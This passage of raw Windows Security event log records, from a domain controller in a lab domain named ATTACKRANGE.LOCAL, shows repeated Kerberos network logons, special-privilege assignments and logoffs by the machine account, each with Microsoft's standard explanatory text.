NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBE207 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 63991 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248660 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBE207 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248659 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBE1A6 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248658 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBE1A6 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 63990 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248657 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBE1A6 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248680 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBE460 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248679 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBE460 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 63997 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248678 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBE460 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248677 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBE3FF - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248676 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBE3FF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 63996 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248675 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBE3FF - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248674 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBE399 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248673 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBE399 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 63995 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248672 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBE399 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248671 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBE338 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248670 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBE338 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 63994 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248669 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBE338 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248692 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBE728 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248691 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBE728 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64001 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248690 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBE728 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248689 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBE6C6 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248688 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBE6C6 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64000 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248687 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBE6C6 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248686 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBE660 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248685 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBE660 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 63999 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248684 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBE660 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248683 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBE5FF - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248682 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBE5FF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 63998 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248681 -Keywords=Audit Success -Message=Special privileges 